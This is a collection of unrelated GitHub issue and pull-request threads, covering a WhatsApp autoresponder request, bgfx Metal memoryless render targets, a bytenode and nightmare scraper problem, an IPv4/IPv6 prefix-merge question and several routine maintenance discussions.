This is correct, a user can have more than one total device, it is not a 1:1 relationship between the two and we shouldn't assume that they want the subscription channel disabled just because of an uninstall for example. In the case of emails, an unsubscribe is literally disabling that channel but the user also can't have multiple registered email addresses so the situation isn't identical.


Whatsapp autoresponder online services

Dear all
I want to build a whatsapp auto responder service.
Whuch user will only will see the qr code to scan from a web page, and after scan i will get his whatsapp name to confirm the connection.
Then in background it has to be a service whuch will connect to the browser via a specific proxy.
This service will take the responsibility to analyze the messages and reply to the sender.
This service will be php services.
I am not sure how can do this since all users here talking about runing the actual browser.
I need this to be full automated in background, kind of an API.
How can i achieve this?
Another question : as i understand this library count on analyzing the html and Javascript of whatsapp web platform.
This is very unstable, since whatsapp can update the platform in any time lead to break down this library.
I know that people will figure out a way to get it back but i am talking business wise.
Simeon may say, use whatsapp business api, will it is not available and even if it available, it will be expensive.
Please advice

Hi @beshoo, if You need WhatsApp for business purposes, i have The WhatsApp Enterprise API, send me a Message in WhatsApp<PHONE_NUMBER>689

this project is unofficial, Because of this, it cannot be expected to last forever or to be stable and safe. unfortunately whatsapp is tightly closed and limited, not allowing commercial use of the platform without using their official api (and paying for it). However, this project is very interesting and it is possible to do what you explained in your message. It is possible to configure and code an automated system that displays the qr code in website and logs in to the user account and after that the automatic response commands are programmed. however a server is needed for the system to be hosted. I have a similar project in mind


Practice exam 10 Question Question no: 44

The answer for practice exam 10 Q44 is wrong. The answer would be AutoScaling

@Kathireshpraveen Thanks I will update it. 🙇

https://github.com/kananinirav/AWS-Certified-Cloud-Practitioner-Notes/commit/dbfc6f748c372d35ab319d832ae74ac96c4b267f


CDI-441 Enhance wording for indirect specialization.

@antoinesd just noticed this PR is hanging around for quite some time ... should I close it or somehow refactor it?

Sorry @manovotn, I skiped this one. +1 to merge it


how to use StaticResponseFilter，

how to user StaticResponseFilter +1

These are used when you want Zuul to complete the request itself. Typically for Heath checks, some type of deep check, semantic check maybe, return metrics or data only the Zuul cluster knows about (routes or services available in the cluster it something similar).
Documenting of the Zuul 2.x Endpoint filter type which replaced these status filters is as follows, https://github.com/Netflix/zuul/wiki/Filters#endpoint and the example filter for health check shows an implementation, https://github.com/Netflix/zuul/blob/2.1/zuul-sample/src/main/groovy/com/netflix/zuul/sample/filters/endpoint/Healthcheck.groovy


Has a plan to support metal memoryless render targets ?

To support metal's memoryless render targets, maybe we should add a new BGFX_TEXTURE_RT_* flag to match MTLStorageModeMemoryless of metal.

Currently there are no bits left in BGFX_TEXTURE_*. I'll need to split it into BGFX_TEXTURE_* and BGFX_SAMPLER_* flags.
Anyhow do you know how this is supported in D3D12 and Vulkan?

As I know, memoryless render textures are only supported on iOS/tvOS 10.0+ Metal now. But we can simply ignore this flag on other renderer.
On the other renderer, memoryless textures can be created only when they attach to the frame buffer and can be destroy to release the memory when the frame buffer detached.

I guess EXT_shader_pixel_local_storage can do similar work (but in different way).
See https://community.arm.com/graphics/b/blog/posts/pixel-local-storage-on-arm-mali-gpus

On renderers where this is not supported: Performance of recreating the framebuffer could be a suboptimal(should be benchmarked). If recreate is not feasible bgfx could just discard framebuffers (this could avoid copying data back to memory) and disallow to use memoryless framebuffers as textures. Current implementation of discard flags (BGFX_CLEAR_DISCARD_COLOR_0, ...) are a little problematic on metal when multiple views use the same target. With this memoryless (discardable?) flag it could be easier.

I don't believe this is supported on DX12 but ignoring the flag seems safe - it's just a memory optimization. It does prohibit reading from the texture, as well as rendering to the texture in several passes without load/store discards (there's literally no associated memory storage for this!), so it might be worthwhile do assert the correct usage on other platforms as well.
On Vulkan, the related feature is VK_MEMORY_PROPERTY_LAZILY_ALLOCATED_BIT & VK_IMAGE_USAGE_TRANSIENT_ATTACHMENT_BIT. Some Android drivers expose memory regions that are lazily allocated; if there are none, it should be safe to allocate from another region and not set the transiet attachment flag.
Note that two common cases where memoryless targets are interesting are depth buffers (that often aren't needed after the pass), and MSAA targets. While depth buffers are straightforward, using MSAA targets with memoryless/lazily allocated images requires resolving the textures in the same pass you render to them; not sure if bgfx supports this for Metal/Vulkan.

Currently there are no bits left in BGFX_TEXTURE_. I'll need to split it into BGFX_TEXTURE_ and BGFX_SAMPLER_* flags.

I found BGFX_TEXTURE_* has already split into BGFX_TEXTURE_* and BGFX_SAMPLER_*  these days .
Can we see this feature in future weeks ? :)


Move Python source into a separate src dir.

This is a good idea for various reasons; fusion-index is a nice project to trial this idea.

This change is

Reviewed 34 of 34 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

[Current coverage][cc-pull] is 97.24%

Merging [#49][cc-pull] into [master][cc-base-branch] will decrease coverage by 2.76%

@@            master        #49   diff @@
=========================================
  Files            7         13     +6
  Lines          263        796   +533
  Methods          0          0
  Messages         0          0
  Branches        23         42    +19
=========================================
+ Hits           263        774   +511
- Misses           0         17    +17
- Partials         0          5     +5

Powered by Codecov. Last updated by [0387c76...b36bcdf][cc-compare]
[cc-base-branch]: https://codecov.io/gh/fusionapp/fusion-index/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/fusionapp/fusion-index/compare/0387c76a7091c1b07bcf7fa9191cdc0e53573914...b36bcdf565b98ecbba8964133f803e243d419128
[cc-pull]: https://codecov.io/gh/fusionapp/fusion-index/pull/49?src=pr


New version v0.4.1

@JuliaRegistrator register

mostly a documentation effort
Abstract_Solver_Result and sub-types are now public

Registration pull request created: JuliaRegistries/General/51439
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v0.4.1 -m "<description of version>" a51729dd16f67868cc3de4c612a7257b6b998d94
git push origin v0.4.1


Created rapidfuzz image

Status
Ready
Related Content Pull Request
Related PR: no related PR. Image for use in custom content.
Related Issues
Related: no related issues.
Description
Creation of a image containing rapidfuzz python library. For use by custom automations within xsoar.

Hi @KrisRosser!
Is this part of an existing content contribution? If so, please attach the relevant PR to this one.
Thank you!

Hi @eyalpalo,
This is not part of an existing content contribution. Therefore, I have no relevant PR to attach.
Thank you.

Hey @KrisRosser, are you planning to open a content PR? What is the purpose of this pull request?

@KrisRosser , Secondly, (this is the major issue), demisto-sdk validate and lint commands will fail on any content using those images which prevents the content from being pushed to CI/CD pipeline (precommit fails and github actions fail)
Which pipeline are you refferring to? This is custom content, correct?
you can add DO107 to the pack ignore, this should prevent this issue from demisto-sdk validate, then the customer can push this image to their own dockerhub account to easily have pulled by the machines using it.
We dont generally support pushing customer's images to our dockerfiles repo unless there is a content contribution to go along with them
Let me know if this helps. Im going to close this pr for now, feel free to reopen


[Bug]: Nothing happens on install

What happened?
After a fresh Laravel install, I installed this package with the --teams --api flag
php artisan filament:jetstream:install --teams --api
It installs livewire, filament, etc. But when I fire up the app, it looks like the standard Jetstream starter kit.
I'm not sure what I'm missing. Are there additional steps required to achieve the jetstream/filament integration?
How to reproduce the bug
Install Laravel (via Herd, no starter kit)
Install filament-jetstream package.
Register a new user.
Login.
Package Version
0.0.13
PHP Version
8.2.0
Laravel Version
11.0.0
Which operating systems does with happen with?
Windows
Notes
No response

Hi @keytactic
Are you still having this issue? I am not able to reproduce this error:

Thought I hit the same bug last night, turns out the install process has an interactive menu about half way though. Just had to go back to the terminal and answer the question so the install could finish.

That could be it @benbjurstrom
I am working on a v2 that won't require the whole installation of NPM
It's going to be the Filament way.

I have the same issue. After installation, I ended up with two login routes: one for Filament at /admin/login and another for Jetstream at /app/login. When I try to merge the routes, nothing changes. I am using Filament v3.

Thought I hit the same bug last night, turns out the install process has an interactive menu about half way though. Just had to go back to the terminal and answer the question so the install could finish.

Yep. I did not realize this and that's exactly what it was. Using this on a new project and it's working wonderfully.
Sorry about the false flag @stephenjude!

Thanks @keytactic
I am also working on an improved version of this package that will reduce all these frictions greatly


JS file runs differently then JSC

I coded a scraper using nightmarejs and when i run it with node it works fine but when i run it with bytenode some actions inside stop working and I don't have a clue why.

I don't have a clue neither.
Please provide a minimal reproducible example. Without a concrete example that shows what goes wrong, there is nothing that we can do.
Also, read the README.md file. At least the known issues and limitations.

require('bytenode')
const Nightmare = require('nightmare')
const nightmare = Nightmare({ show: true, waitTimeout: 900000 })
var fs = require('fs');

var var2 = 0;
var var3 = 3;

    var message = function(){
      nightmare.goto('https://xxx').wait(1000).evaluate(function(var1,var2,var3,var4){

        for (var i = 0; i < var2; i++) {
          setTimeout(function(){
            document.querySelectorAll('.class')[document.querySelectorAll('.class').length-1].scrollIntoView();
          }, i*2000);
        }

   },array1,var2,var3,var4).wait((var2*3000)+500).then(function(){
     nightmare.evaluate(function(array1,var2,var3,var4){

             var obj = {};
             obj.should = false;

              var x =  document.querySelectorAll('.class');

                 document.querySelectorAll('.class')[var3].click()
                 var username1 = document.querySelectorAll('.class')[0].innerText.replace(`\n`,'').replace(`\n`,'');

                 if (array1.includes(username1)) {
                   obj.should = true;
                   var3 = var3+1;
                 } else {
                       document.querySelectorAll('input')[0].value = var4;

                       array1.push(username1);
                       var3 = var3+1;
                 }

               if (var3 === x.length) {
                 var2 = var2+1;
                 var3 = 0;
               }

           obj.p = var2;
           obj.z = var3;
           obj.n = array1;

          return obj;

        },array1,var2,var3,var4).then(function(x){

           var3 =  x.z;
           var2 =  x.p;
           array1 = x.n;
             if (x.should) {
               message();
             } else {
               nightmare.wait(randomIntFromInterval(10000,50000)).click('input').type('input', `\u000d`).wait(1000).click('a[aria-label="'+button+'"]').then(function(){
                 message();
               console.log(array1);
               })
               .catch(function(error) {
                 message();
                 console.error('Restarting:', error)
               })
             }
             console.log(x);

             var file = fs.createWriteStream('n.txt');
file.on('error', function(err) { /* error handling */ });
x.n.forEach(function(v) { file.write(v + '\n'); });
file.end();

             console.log("done");
         console.log(array1);

           })
           .catch(function(error) {
             message();
             console.error('Restarting:', error)
           })
   })

      .catch(function(error) {
        message();
        console.error('Restarting:', error)
      })
    }

This is an example of the code I try to --compile

I can't run this example, even without bytenode.
I get:
/home/osama/Desktop/bytenode-nightmare/example.js:20
   },array1,var2,var3,var4).wait((var2*3000)+500).then(function(){
     ^

ReferenceError: array1 is not defined
.

I even tried to write there very basic example from README.md, and it does not work either.
Also, nightmare seems abandoned and not maintained anymore, see: https://github.com/segmentio/nightmare/issues/1605

I can't run this example, even without bytenode.
I get:
/home/osama/Desktop/bytenode-nightmare/example.js:20
   },array1,var2,var3,var4).wait((var2*3000)+500).then(function(){
     ^

ReferenceError: array1 is not defined
.

I even tried to write there very basic example from README.md, and it does not work either.
Also, nightmare seems abandoned and not maintained anymore, see: https://github.com/segmentio/nightmare/issues/1605

On I forgot to add array1... My bad is just an empty array needed there. I don't think it works for every site that script because is made of a specific one.

As I mentioned, I can't even run their simplest example.
Anyways, I believe that evaluate function won't work with bytenode. This function is meant to be sent to the browser component of the system (electron in case of nightmare and chromium in case of puppeteer) as plain text. So, the bytenode version clearly won't work here.
In puppeteer for example, this error is thrown:
Passed function is not well-serializable!

Still don't know how to workaround this

Can we somehow take the evaluate parts of the code and ignore those so that they are sent as plain text?

This needs to be tried. Unfortunately, I don't work on this area right now. You should try it and if you encounter an issue or bug in bytenode itself, please report it. The specifics of your solution (and of puppeteer and nightmare) are beyond the scope of what we do here.

Can you show a path on how to ignore parts of code? is it possible?

I can think of generating the source code on the fly from string variable. I will try later with puppeteer and get back to you.


MergeToPrefixBlocks Method Merges IPv4 and IPv6 Default Routes Unexpectedly

Hello, I used the MergeToPrefixBlocks method from this library to merge multiple subnets. However, during actual use, I found the following issue with the code:
var a []*ipaddr.IPAddress a = append(a, ipaddr.NewIPAddressString("<IP_ADDRESS>/0").GetAddress(), ipaddr.NewIPAddressString("0::0/0").GetAddress(), ipaddr.NewIPAddressString("::/0").GetAddress()) fmt.Println(a[0].MergeToPrefixBlocks(a[1:]...))
The returned result is [<IP_ADDRESS>/0]. Shouldn't it return [<IP_ADDRESS>/0, 0::0/0] or [<IP_ADDRESS>/0, ::/0], which would separately represent the entirety of IPv4 and IPv6? Is there any configuration that would allow me to obtain this result?
Thank you very much to the author for developing this library.

You're welcome.
This result was intentional behaviour, see the godoc: "Arguments that are not the same IP version are ignored"
When merging both IPv4 and IPv6, it really ends up being two separate merge operations.  It doesn't actually make logical sense to be "merging" addresses of two different versions/sizes.  But if you want to do both merge operations, you can do so:
// check for other IP versions
var result []*ipaddr.IPAddress
for i := range a {
	if !a[i].GetIPVersion().Equal(a[0].GetIPVersion()) {
		result = a[i].MergeToPrefixBlocks(a...)
		break
	}
}
// merge both IP versions
result = append(a[0].MergeToPrefixBlocks(a...), result...)
fmt.Println(result)

[<IP_ADDRESS>/0 ::/0]

For this, you can use the new MergeToPrefixBlocks in version 1.7.0


It takes forever to start my commands. Its not the scripts that are slow, powershell just sits idle for up to 1 minute before executing any command, which then runs at normal speed.
Last 0 Keys:
Exception:
System.Threading.AbandonedMutexException: The wait completed due to an abandoned mutex.
at System.Threading.WaitHandle.InternalWaitOne(SafeHandle waitableSafeHandle, Int64 millisecondsTimeout, Boolean hasThreadAffinity, Boolean exitContext)
at System.Threading.WaitHandle.WaitOne(Int32 millisecondsTimeout, Boolean exitContext)
at Microsoft.PowerShell.PSConsoleReadLine.ReadHistoryFile()
at Microsoft.PowerShell.PSConsoleReadLine.DelayedOneTimeInitialize(String hostName, Int32 historyCount)
at Microsoft.PowerShell.PSConsoleReadLine.Initialize(Runspace runspace, EngineIntrinsics engineIntrinsics)
at Microsoft.PowerShell.PSConsoleReadLine.ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics)

It's possible this is another symptom of #524 which was fixed.